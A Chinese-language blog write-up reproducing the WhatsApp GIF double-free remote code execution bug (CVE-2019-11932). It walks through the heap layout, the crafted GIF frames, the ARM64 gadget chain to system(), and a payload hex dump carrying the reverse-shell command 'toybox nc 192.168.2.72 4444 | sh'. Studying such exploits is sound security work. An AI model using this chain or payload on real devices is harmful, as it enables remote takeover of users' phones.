影响范围:whatsapp<= v2.19.244,大佬带着我,文章中大部分内容都是大佬分析的结果,我只是作为一个端茶递水的存在。跟着[1]复现了一顿。作者写的很详细,膜拜一波,作者基于double-free bug 实现RCE。
从原文里copy过来的,步骤如下:
1.攻击者A通过任意渠道 发送gif 给用户B。
2.用户B想给他/她任意好友发送一个media file。然后用户B打开了WhatsApp 的Gallery 选择一个media file 发送给他的好用。
3.当WhatsApp 在生成media 的info文件的时候。会触发double-free 然后执行exp。
自己实现的时候,hook看的时候能实现到跳转到 system 并传入参数。但是并没有nc成功,如果有哪位大佬知道为什么没nc成功求指导(比如这里传入参数 “touch /$path/abc”)。
hook 执行gif exp后,hook后观察到的情况如下所示
Double-free 漏洞位于 libpl_droidsonroids_gif.so里的decoding.c的DDGifSlurp函数内。
当 用户在WhatsApp里打开Gallery 想发送图片文件的时候,WhatsApp 会调用 ‘libel_droidsonroids_gif.so’ 用以生成GIF文件的预览。
一个GIF文件包含多个编码帧。为了存储这些被编码的帧,使用 rasterBits 结构体进行存储。如果所有的帧 大小一样。rasterBits 会 不再再allocation,重新使用 用来存储 帧。然而,rasterBits当遇到如下三个条件的时候,会 re-allocation。
* width * height > originalWidth * originalHeight
* width - originalWidth > 0
* height - originalHeight > 0
re-allocation 是 free 和 malloc的组合。如果 re-allocation 的size为0.那么就仅仅 free掉。
假设我们有一个GIF,有3帧 size 分别为 '100,0,0'
1 第一次 re-allocation, size(info->rasterBits )=100
2 第二次 re-allocation, size(info->rasterBits) free
3 第三次 re-allocation, size(info->rasterBits) 再次free
触发的位置在 decoding.c里
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;
int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;
const uint_fast32_t newRasterSize =
gifFilePtr->Image.Width * gifFilePtr->Image.Height;
if (newRasterSize > info->rasterSize || widthOverflow > 0 ||
heightOverflow > 0) {
void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here
sizeof(GifPixelType));
if (tmpRasterBits == NULL) {
gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;
break;
}
info->rasterBits = tmpRasterBits;
info->rasterSize = newRasterSize;
}
在Android里面,memory 的 double-free with size N 会导致两个后续的大小为N的内存分配返回相同的地址(Linux下也会有相同的情况)。
此处是我写的test代码
#include <stdio.h>
size_t SIZE = 0x100;
size_t COUNT =4;
void triple_free(){
void *p;
p = malloc(SIZE);
printf("target == %p\n",p);
for(int i = 0;i<COUNT;++i){
free(p);
}
for(int i = 0;i<COUNT;++i){
printf("malloc(0x%x) == %p\n", SIZE, malloc(SIZE));
}
printf("next malloc(0x%x) == %p\n", SIZE, malloc(SIZE));
}
int main(void){
triple_free();
return 0;
}
p 被释放了4次,在接下来的malloc里返回的地址相同。背景知识传送门《a tale of two mallocs》[3]
接着让我们开始愉快的构造exp
首先看 gif.h里的GifInfo
struct GifInfo {
void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here
GifFileType *gifFilePtr;
GifWord originalWidth, originalHeight;
uint_fast16_t sampleSize;
long long lastFrameRemainder;
long long nextStartTime;
uint_fast32_t currentIndex;
GraphicsControlBlock *controlBlock;
argb *backupPtr;
long long startPos;
unsigned char *rasterBits;
uint_fast32_t rasterSize;
char *comment;
uint_fast16_t loopCount;
uint_fast16_t currentLoop;
RewindFunc rewindFunction; <<-- there's another function pointer here
jfloat speedFactor;
uint32_t stride;
jlong sourceLength;
bool isOpaque;
void *frameBufferDescriptor;
};
在64位里的所占字节如下所示
struct GifInfo
{
0------1--------2--------3--------4--------5--------6--------7--------8
0| void (*destructor)(GifInfo *, JNIEnv *); |
----------------------------------------------------------------------
1| GifFileType *gifFilePtr; |
----------------------------------------------------------------------
2| GifWord originalWidth; |
-----------------------------------------------------------------------
3| GifWord originalHeight; |
-----------------------------------------------------------------------
4| uint_fast16_t sampleSize; |
-----------------------------------------------------------------------
5| long long lastFrameRemainder; |
-----------------------------------------------------------------------
6| long long nextStartTime; |
-----------------------------------------------------------------------
7| uint_fast32_t currentIndex; |
-----------------------------------------------------------------------
8| GraphicsControlBlock *controlBlock; |
-----------------------------------------------------------------------
9| argb *backupPtr; |
-----------------------------------------------------------------------
A| long long startPos; |
-----------------------------------------------------------------------
B| unsigned char *rasterBits; |
-----------------------------------------------------------------------
C| uint_fast32_t rasterSize; |
-----------------------------------------------------------------------
D| char *comment; |
-----------------------------------------------------------------------
E| uint_fast16_t loopCount; |
-----------------------------------------------------------------------
F| uint_fast16_t currentLoop; |
-----------------------------------------------------------------------
10| RewindFunc rewindFunction; |
-----------------------------------------------------------------------
11| jfloat speedFactor; | uint32_t stride; |
-----------------------------------------------------------------------
12| jlong sourceLength; |
-----------------------------------------------------------------------
13| isOpaque;| void *frameBufferDescriptor; |
-----------------------------------------------------------------------
14| ... | (padding) |
-----------------------------------------------------------------------
}
此处(padding) 为自动补齐
可见 Sizeof(GifOnfo) = 8*(0x14+1)=168
构造一个有如下三帧的 gif 文件
Sizeof(GifOnfo)
0
0
当WhatsApp Gallery打开时, 如上所示的 gif 会触发double-free漏洞。有趣的事 WhatsApp Gallery 会解析GIF文件两次。
‘贴上从blog里copy过来的内容
*第一次解析:
* Init:
* GifInfo *info = malloc(168);
* Frame 1:
* info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
* Frame 2:
* info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
* Frame 3:
* info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
* Frame 4:
* does not matter, it is there to make this GIF file valid
*第二次解析:
* Init:
* GifInfo *info = malloc(168);
* Frame 1:
* info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
* Frame 2, 3, 4:
* does not matter
* End:
* info->rewindFunction(info);
由于最终得到的是同一块内存,第一次申请时用来存储GifInfo结构体,第二次申请用来存储rasterBits,第二次申请后会用申请到的这段内存(跟存储GifInfo结构体同一块)存储解码后的输入数据(gif文件一帧),由于是同一块内存,所以解码后的数据会覆写原先GifInfo结构体的内容,包括会覆写info->rewind字段,这样info->rewind字段的值就被可控了,由于info->rewind是一个函数指针,所以是有一个函数指针被控了, 解码操作是在decoding.c的DDGifSlurp函数中,在这个函数解码完成主体解码后会在最后调用一次info->rewindFunction(info)函数,由于info->rewindFunction已经被改写成我们控制的值,所以PC会调转到我们写入的值(劫持PC)。
地址随机化的处理,需要配合一个内存泄露漏洞。由于我在本地机器上实现。我执行了如下的命令来确定基址:
开启monitor check com.whatsapp 的 PID
sailfish:/ # cd /proc/3973
sailfish:/proc/3973 # cat ./maps | grep 'libc.so'
713ed55000-713ee1d000 r-xp 00000000 fd:00 441 /system/lib64/libc.so
713ee1e000-713ee24000 r--p 000c8000 fd:00 441 /system/lib64/libc.so
713ee24000-713ee26000 rw-p 000ce000 fd:00 441 /system/lib64/libc.so
sailfish:/proc/3973 # cat ./maps | grep 'libhwui.so'
713eb03000-713ebf4000 r-xp 00000000 fd:00 374 /system/lib64/libhwui.so
713ebf4000-713ebfe000 r--p 000f0000 fd:00 374 /system/lib64/libhwui.so
713ebfe000-713ebff000 rw-p 000fa000 fd:00 374 /system/lib64/libhwui.so
此处r-xp处就为基址啦,比如libc.so的基址为713ed55000。
W^X机制,内存页不能同时设置为可执行(x)和可写(w),
劫持完PC后,想要执行代码 作者采用的方法是 gadget + system() 执行如下命令
system("toybox nc 192.168.2.72 4444 | sh");
逆一下libpl_droidsonroids_gif.so,
x0和x19指向info/ info->rasterBits
首先把 x19+0x80(info->rewindFunction)替换成gadget的地址,再跳到system。
gadget执行三条指令
ldr x8,[x19,#0x18]
add x0,x19,#0x20
blr x8
第一条指令: 第一条 x8 = [x19+0x18],也就是info->originalHeight; (info基址+偏移0x18)
第二条指令: add x0, x19, #0x20, 将x0指向x19+0x20地址处,也就是info->sampleSize(info基址+偏移0x20),arm架构下x0 用于穿参,即system接收的参数,所以要将x0指向我们想让它执行的参数内容。
第三条指令 blr x8 == jump x8 == jump [x19+0x18] == jump info->originalHeight == jump system地址, 同时x0传参
摘取原文中的一段话,假设上述gadget的地址为AAAAAAAA,而system()函数的地址为BBBBBBBB。 LZW编码之前的rasterBits缓冲区(帧1)如下所示:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB
00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16
00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
正常的Android系统中,由于每个进程都是从Zygotes生成 即使有ASLR,如果WhatsApp被终止并重启,地址AAAAAAAA和BBBBBBBB也不会更改。如果是使用,需要结合内存泄露漏洞。
[4]里下载了作者构造的exp,感兴趣的可以去下载。在本机里找了libc.so里 system()的地址以及libhwui.so里gadget的地址,两种思路
第一种
ps | grep 'whatsapp'
cat ./map | grep 'libc.so'/'libhwui.so'
adb pull &path/libc.so / &path/libhwui.so
拖入IDA查看偏移,打开python 进行计算
第二种 frida hook
复现效果如 前面 0x01 所示,成功的demo,作者的blog里有放.avi。
无
[1]https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/?nsukey=JELaCEv3gnVR%2BS05Vwf1sdQRZmjrb8fFIkcoF2nxPXFNsfHngtB%2FA%2BnL0QFvwQnWUObnZepLB7hVNX%2BKsjQ6CT1wY%2Bay0yfrt6awEUhfpupKk0lQvtqhhZX0uXRqbyjGMH6y1NWLt6wBS3Lh4ZauLCzWD9RJ2LaChRm6BomlqnoR%2Fp%2BqJQ6fefXCpz8ugnpYyEUaYQW5UPrdRD0%2BJgZ8mQ%3D%3D&from=singlemessage&isappinstalled=0
[2]https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
[3] https://www.anquanke.com/post/id/149132
[4]https://github.com/awakened1712/CVE-2019-11932